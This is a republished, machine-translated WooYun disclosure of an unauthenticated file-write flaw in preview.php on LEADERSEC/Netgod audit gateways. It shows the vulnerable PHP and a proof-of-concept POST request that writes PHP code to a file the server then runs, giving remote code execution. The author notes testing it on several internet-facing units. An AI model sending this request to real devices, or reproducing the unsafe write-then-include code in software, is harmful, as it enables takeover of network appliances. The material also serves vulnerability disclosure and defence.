Vulnerability LEADERSEC Network Security Gateway-online behavior (audit) equipment System general-purpose Getshell (no login involved in the network Gods & Nets Nebula and other manufacturers) vulnerability verification

Source: Internet
Author: User
Tags nets

About the public network of 126 gateway equipment, tried several units. Login Page

Defect Number: wooyun-2016-171016 Vulnerability title: A Web-based behavior (audit) equipment System general-purpose Getshell (no login involved in the network God & Network Nebula and other manufacturers) related manufacturers: Network God Information Technology (Beijing) Co., Ltd. vulnerability ano_ Tom Certified White hat submission time: 2016-01-19 09:14 public time: 2016-04-11 16:08 Vulnerability Type: Network unauthorized access hazard level: High self-assessment rank:20 vulnerability Status: Vendor has identified the source of the vulnerability:/HTTP Www.wooyun.org, if you have any questions or need help, please contact help@wooyun.orgtags tag: arbitrary command execution

The preview.php file in the root directory has a vulnerability to any content write that can be written directly to the shell.

Code Area
if(isset($_POST[‘previewtxt‘]))
{
$index = $_POST[‘previewtxt‘];
$index = str_replace("&lt;","<",$index);
$index = str_replace("&gt;",">",$index);
$index = stripslashes($index);

$fp = fopen("/usr/hddocs/nsg/template/___index.php","w");
fwrite($fp,$index);
fclose($fp);
require_once("/usr/hddocs/nsg/head_index.php");
require_once("/usr/hddocs/nsg/template/___index.php");
}



The file address written to is template/___index.php.

Proof of vulnerability:

The equipment of the network God Technology

Code Area
网神
POST /preview.php HTTP/1.1
Host: **.**.**.**:8443
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=8b7bf4198d6bccbe7d68fedf3f8287cc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

previewtxt=<?php phpinfo();?>



Fix solution:

The PHP function has the relevant security configuration, set access permissions.

Vulnerability LEADERSEC Network Security Gateway-online behavior (audit) equipment System general-purpose Getshell (no login involved in the network Gods & Nets Nebula and other manufacturers) vulnerability verification

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.